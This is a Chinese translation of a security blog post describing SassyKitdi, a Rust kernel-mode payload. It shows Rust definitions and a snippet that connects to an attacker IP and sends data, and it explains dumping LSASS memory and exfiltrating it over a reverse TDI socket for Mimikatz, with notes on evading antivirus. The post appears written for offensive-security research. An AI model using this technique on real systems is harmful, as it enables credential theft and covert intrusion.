0. 译者注
译自@zerosum0x0's blog[1]
本文介绍了三部分内容
1.TDI(Transport Driver Interface),内核模式tdi.sys提供的网络传输驱动程序接口2.从内核模式Dump LSASS,文中的操作也可以在Ring3实现3.用Rust编写shellcode,借助一系列零开销的高级抽象提升开发效率,生成高质量的底层代码
1. 介绍
这篇文章描述了一个Windows NT内核模式payload:SassyKitdi(LSASS + Rootkit + TDI)。这个payload可以通过远程内核exploit部署(例如EternBlue、BlueKeep和SMBGhost),当然也可以通过本地内核exploit部署(i.e. bad drivers)。该exploit(至少)从Windows 2000到Windows 10都是通用的,且不需要携带奇怪的DKOM偏移[译者注:DKOM,Direct Kernel Object Manipulation,rootkit常用,例如修改内核的PsAcvtivePeorecssList
来隐藏自身进程]。
Payload不与用户模式交互,它使用Transport Driver Interface(TDI)创建反向TCP套接字,该接口是更现代的Winsock Kernel(WSK)的前身。LSASS.exe进程内存和模块将通过网络发送,接着攻击者可以将其转换为minidump文件,并传递到诸如Mimikatz的工具中提取凭据。
tl;dr: PoC || GTFO[2]
PIC Shellcode大概为3300 bytes,完全使用Rust编写,且使用了很多高级抽象。我将概述Rust满足Shellcode编写的好处。
我手头上没有所有AV用来进行明显的测试,但鉴于大部分AV都遗漏了明显的用户模式内容,因此我只能假设目前能检测到该方法的AV普遍无效。
最后,我将讨论未来的内核模式Rootkit应该是什么样子的,如果以本文为例,则需要做进一步处理。What's old is new again.
2. Transport Driver Interface
TDI是一种与所有类型网络传输通信的古老方法。在这种情况下,将使用它来建立与攻击者的反向TCP连接。其他payload(例如Bind Socket,或UDP)将遵循类似方法。
Rootkit中TDI的使用并不广泛,但已经在以下书籍有过记载,这些书可以作为该代码的参考:
•Vieler, R. (2007). Professional Rootkits. Indianapolis, IN: Wiley Technology Pub.•Hoglund, G., & Butler, J. (2009). Rootkits: Subverting the Windows Kernel. Upper Saddle River, NJ: Addison-Wesley.
2.1 打开TCP设备对象
通过设备名称来获取设备对象(本例中是DeviceTcp
)。本质上是向ZwCreateFile
内核API [译者注:创建文件内核对象] 传递设备名称,然后通过File Extended Attributes[3]传递选项
1pub type ZwCreateFile = extern "stdcall" fn(
2 FileHandle: PHANDLE,
3 AccessMask: ACCESS_MASK,
4 ObjectAttributes: POBJECT_ATTRIBUTES,
5 IoStatusBlock: PIO_STATUS_BLOCK,
6 AllocationSize: PLARGE_INTEGER,
7 FileAttributes: ULONG,
8 ShareAccess: ULONG,
9 CreateDisposition: ULONG,
10 CreateOptions: ULONG,
11 EaBuffer: PVOID,
12 EaLength: ULONG,
13) -> NTSTATUS;
设备名称通过ObjectAttributes
字段传递,配置通过EaBuffer
传递。我们必须创建一个Transport句柄(FEA: TransportAddress)和一个Connection句柄(FEA: ConnectionContext)[译者注:FEA, File Extended Attributes] 。
TransportAddress FEA需要一个TRANSPORT_ADDRESS
结构体,对于IPv4而言,还需要包含一些其他结构。在这一点我们可以选择要绑定到的接口或要使用的端口。在本例中,我们将选择0.0.0.0:0
,内核将使用随机的临时端口来绑定到主接口 [译者注:可以理解为随机选择TCP socket的src port] 。
1#[repr(C, packed)]
2pub struct TDI_ADDRESS_IP {
3 pub sin_port: USHORT,
4 pub in_addr: ULONG,
5 pub sin_zero: [UCHAR; 8],
6}
7
8#[repr(C, packed)]
9pub struct TA_ADDRESS {
10 pub AddressLength: USHORT,
11 pub AddressType: USHORT,
12 pub Address: TDI_ADDRESS_IP,
13}
14
15#[repr(C, packed)]
16pub struct TRANSPORT_ADDRESS {
17 pub TAAddressCount: LONG,
18 pub Address: [TA_ADDRESS; 1],
19}
ConnectionContext FEA允许设置任意的context,而不是预定义的结构。在实例代码中我们将其设置为NULL。
至此,我们已经创建了Transport句柄,Transport File对象,Connection句柄和Connection File对象。
2.2 连接到一个Endpoint
初始化后,其余的TDI API将通过TDI IOCTL [译者注:一组I/O控制码,如下文的TDI_SEND、TDI_CONNECT等] 对关联文件对象的设备对象进行操作。
TDI通过各种IOCTL code使用IRP_MJ_INTERNAL_DEVICE_CONTROL
,我们感兴趣的是以下几个:
1#[repr(u8)]
2pub enum TDI_INTERNAL_IOCTL_MINOR_CODES {
3 TDI_ASSOCIATE_ADDRESS = 0x1,
4 TDI_CONNECT = 0x3,
5 TDI_SEND = 0x7,
6 TDI_SET_EVENT_HANDLER = 0xb,
7}
这些内部IOCTL每一个都有与之关联的各种结构。基本方法是:
1.使用IoGetRelatedDeviceObject
从文件对象获取设备对象2.使用IoBuildDeviceIoControlRequest
创建内部的IOCTL IRP [译者注:IRP,I/O Request Packet,操作设备时将参数封装到IRP通过IoCallDriver
传递给驱动程序]3.设置IO_STACK_LOCATION.MinorFunction
内部的opcode4.将op的结构体指针复制到IO_STACK_LOCATION.Parameters
5.使用IofCallDriver
分派IRP6.使用KeWaitForSingleObject
等待操作结束(可选)
对于TDI_CONNECT
操作,IRP参数包含一个TRANSPORT_ADDRESS
结构体(在前一节中定义)。这次,我们不再设置0.0.0.0:0
,而是将其设置成我们要连接的值(大端序)
2.3 通过网络发送数据
如果连接IRP成功建立TCP连接,我们可以接着发送TDI_SEND
IRP到TCP设备。
TDI设备需要一个描述待发送缓冲区的Memory Descriptor List[4](MDL)。
假设我们想通过网络发送任意数据,必须执行下列步骤:
1.使用ExAllocatePool
分配一个缓冲区,使用RtlCopyMemory
copy数据2.使用IoAllocateMdl
提供缓冲区地址和大小3.使用MmProbeAndLockPages
[5]在发送操作时锁定页面(page-in)[译者注:该函数用来使指定虚拟内存页驻留在内存中]4.分派Send IRP5.I/O管理器将解锁内存页并释放MDL6.使用ExFreePool
释放缓冲区(可选)
这种情况下,MDL将附加到IRP。至于Parameters
结构体,我们可以将SendFlags
设置为0,将SendLength
设置为数据大小。
1#[repr(C, packed)]
2pub struct TDI_REQUEST_KERNEL_SEND {
3 pub SendLength: ULONG,
4 pub SendFlags: ULONG,
5}
3. 从内核模式Dump LSASS
LSASS当然是Windows里的宝藏,可以在其中获得诸如明文凭据和KRB信息之类的东西。当尝试从用户模式Dump时,许多AV供应商在保护LSASS方面都变得越来越擅长。但我们将借助内核的特权来做到这一点。
Mimikatz需要三个流(stream)来处理minidump:System Information、Memory Ranges和Module List.
3.1 获取操作系统信息
Mimikatz实际上只需要知道NT的Major、Minor和Build version。这可以通过NTOSKRNL
导出函数RtlGetVersion
获得,该函数提供以下结构:
1#[repr(C)]
2pub struct RTL_OSVERSIONINFOW {
3 pub dwOSVersionInfoSize: ULONG,
4 pub dwMajorVersion: ULONG,
5 pub dwMinorVersion: ULONG,
6 pub dwBuildNumber: ULONG,
7 pub dwPlatformId: ULONG,
8 pub szCSDVersion: [UINT16; 128],
9}
3.2 获取所有内存区域
当然,Dump LSASS中最重要的部分是LSASS进程实际使用的内存。使用KeStackAttachProcess
可以读取LSASS的虚拟内存。接着可以通过ZwQueryVirtualMemory
遍历整个内存范围。
1pub type ZwQueryVirtualMemory = extern "stdcall" fn(
2 ProcessHandle: HANDLE,
3 BaseAddress: PVOID,
4 MemoryInformationClass: MEMORY_INFORMATION_CLASS,
5 MemoryInformation: PVOID,
6 MemoryInformationLength: SIZE_T,
7 ReturnLength: PSIZE_T,
8) -> NTSTATUS;
ProcessHandle
参数传递-1,初始BaseAddress
传递0,并通过MemoryBasicInformation
类来接收下面的结构:
1#[repr(C)]
2pub struct MEMORY_BASIC_INFORMATION {
3 pub BaseAddress: PVOID,
4 pub AllocationBase: PVOID,
5 pub AllocationProtect: ULONG,
6 pub PartitionId: USHORT,
7 pub RegionSize: SIZE_T,
8 pub State: ULONG,
9 pub Protect: ULONG,
10 pub Type: ULONG,
11}
对于ZwQueryVirtualMemory
的每下一次迭代,只需将BaseAddress
设置为BaseAddress + RegionSize
。一直迭代直到ReturnLength
为0或出现NT error。
3.3 获取已加载的模块
Mimikatz还需要知道一些DLL在内存的位置,以便窃取一些秘密。
最简单的办法是从PEB中获取DLL列表。可以使用ZwQueryInformationProcess
函数和ProcessBasicInformation
类获取PEB [译者注:更常用的方法是通过段寄存器,32-bit下fs寄存器0x30偏移,64-bit为gs:[0x60] ]。
译者注:之前的项目memexec[6]中实现的遍历Loaded Modules:
1pub unsafe fn get_in_mem_order_mod_lst() -> *const c_void {
2 let addr: *const c_void;
3
4 #[cfg(target_arch = "x86")]
5 asm!("
6 mov eax, fs:[0x30]
7 mov eax, [eax + 0x0c]
8 mov {}, [eax + 0x14]
9 ",
10 out(reg) addr,
11 );
12
13 #[cfg(target_arch = "x86_64")]
14 asm!("
15 mov rax, gs:[0x60]
16 mov rax, [rax + 0x18]
17 mov {}, [rax + 0x20]
18 ",
19 out(reg) addr,
20 );
21
22 addr
23}
24
25pub unsafe fn get_mod_from_ldr(i: usize) -> *const c_void {
26 let mut addr = get_in_mem_order_mod_lst();
27 for _ in 0..i - 1 {
28 addr = *(addr as *const *const c_void);
29 }
30
31 #[cfg(target_arch = "x86")]
32 return *(addr.offset(0x10) as *const *const c_void);
33
34 #[cfg(target_arch = "x86_64")]
35 return *(addr.offset(0x20) as *const *const c_void);
36}
Mimikatz需要DLL名称,地址和大小。可以轻松通过PEB->Ldr.InLoadOrderLinks
获取,这是获取LDR_DATA_TABLE_ENTRY
链表的最广为所知的办法。
1#[cfg(target_arch="x86_64")]
2#[repr(C, packed)]
3pub struct LDR_DATA_TABLE_ENTRY {
4 pub InLoadOrderLinks: LIST_ENTRY,
5 pub InMemoryOrderLinks: LIST_ENTRY,
6 pub InInitializationOrderLinks: LIST_ENTRY,
7 pub DllBase: PVOID,
8 pub EntryPoint: PVOID,
9 pub SizeOfImage: ULONG,
10 pub Padding_0x44_0x48: [BYTE; 4],
11 pub FullDllName: UNICODE_STRING,
12 pub BaseDllName: UNICODE_STRING,
13 /* ...etc... */
14}
只需迭代链表,就可获取dump file的每个DLL的FullDllName
、DllBase
和SizeOfImage
。
4. Notes on Shellcoding in Rust
Rust是一种更现代的语言。它没有运行时,可用来编写与C FFI交互的极其底层的嵌入式代码。据我所知,C/Cpp仅能做一些Rust无法做到的事:C可变参数函数 [译者注:Rust用宏实现可变参函数] ,和SEH(内部panic操作之外)[译者注:作者是说除panic的栈展开外没有使用SEH]
使用mingw-w64链接器从Linux交叉编译Rust,并使用Rustup添加x86_64-windows-pc-gnu
目标非常简单 [译者注:建议涉及native API调用的使用msvc工具链编译,mingw编译可能出现奇怪的bug] 。我创建一个DLL项目并提取_DllMainCRTStartup
和malloc
之间的代码。也许不是很稳定,但我只能弄清楚如何生成PE文件,而不是诸如COM文件之类的东西
下面的例子说明Rust编写的shellcode能有多nice:
1let mut socket = nttdi::TdiSocket::new(tdi_ctx);
2
3socket.add_recv_handler(recv_handler);
4socket.connect(0xdd01a8c0, 0xBCFB)?; // 192.168.1.221:64444
5
6socket.send("abc".as_bytes().as_ptr(), 3)?;
4.1 编译优化
Rust是基于LLVM的语言,因此受益于诸如Cpp(Clang)之类的许多优化。
我没有了解的太深,但Rust的高度静态编译通常会导致代码比C/Cpp小得多 [译者注:作者笔误,静态编译比C/Cpp大得多,但Rust目前的LLVM工具链动静态编译皆可,和C/Cpp没有区别] 。代码大小不一定是性能的指标,但对于shellcode而言很重要。你可以进行自己的测试,但Rust的代码生成非常好
我们可以设置Cargo.toml中的opt-level='z'
(optimize for size)lto=true
(link time optimize)来进一步减小代码大小 [译者注:更多优化体积方式参考min-sized-rust[7]]
4.2 使用高阶构造
使用Rust最明显的好处是RAII。在Windows中,这意味着我们封装的对象超出范围时,可以自动关闭HANDLE,自动释放内核池,等等 [译者注:得益于声明周期系统,当然需要先实现Drop trait(析构)] 。这些示例之类的简单构造函数和析构函数都积极插入了我们的Rust编译flag。
Rust具有诸如Result<Ok, Err>
返回类型以及?
的unwrap or throw
的操作,它使我们能简化错误处理。我们可以通过Ok slot返回元组,或当出现问题时通过Err slot返回NTSTATUS code。此功能的代码生成量很少,通常返回一个双倍宽的结构,基本等同于自己实现的大小,但大大简化了高级代码 [译者注:Rust的一大理念就是零开销抽象,enum结构占用内存是最大字段大小 (类似union) + tag (空指针优化时tag可省略)] 。
编写shellcode时我们不能使用std
,而只能使用core
[译者注:开启no_std feature]。此外,为了写出PIC,很多开源库都不能使用。因此,我创建了一个名为ntdef
的库,该库仅包含类型定义和0 static-positioned information [译者注:没懂,不翻译了] 。如果你需要基于堆栈的宽字符串,查看JennaMagius的stacklstr[8]库。
由于低级代码的性质,与内核的FFI交互必须携带上下文指针,因此都是unsafe代码。
手工编写shellcode很繁琐,并且会导致冗长的调试会话。以Rust之类的高级抽象语言编写可节省大量时间。手写汇编总是会使代码尺寸更小,毕竟,优化编译器是人写的,没有考虑所有边界情况。
5. 结论
SassyKitdi必须以PASSIVE_LEVEL
执行。要在exploit payload中使用,你需要提供自己的exploit preamble。这是清理堆栈框架的独特部分,例如EternBlue从DISPATCH_LEVEL
降低IRQL。
有趣的是考虑将TDI exploit payload转变为类似内核模式的Meterpreter框架。修改提供的代码来下载并执行更大的辅助内核模式payload非常容易。这可以使用反射加载驱动的形式。这样的框架可以轻松访问令牌,文件,以及许多在当前用户模式下会被AV捕获的功能。初始的stage shellcode可以手动压缩到1000-1500 bytes。
References
[1]
@zerosum0x0's blog: https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html[2]
PoC || GTFO: https://github.com/zerosum0x0/SassyKitdi[3]
File Extended Attributes: https://en.wikipedia.org/wiki/Extended_file_attributes#Windows_NT[4]
Memory Descriptor List: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls[5]
MmProbeAndLockPages
: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmprobeandlockpages[6]
memexec: https://github.com/eddieivan01/memexec[7]
min-sized-rust: https://github.com/johnthagen/min-sized-rust[8]
stacklstr: https://github.com/jmage-rs/stacklstr
原文始发于微信公众号(0x4d5a):SassyKitdi: 内核模式TCP套接字 + LSASS Dump
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论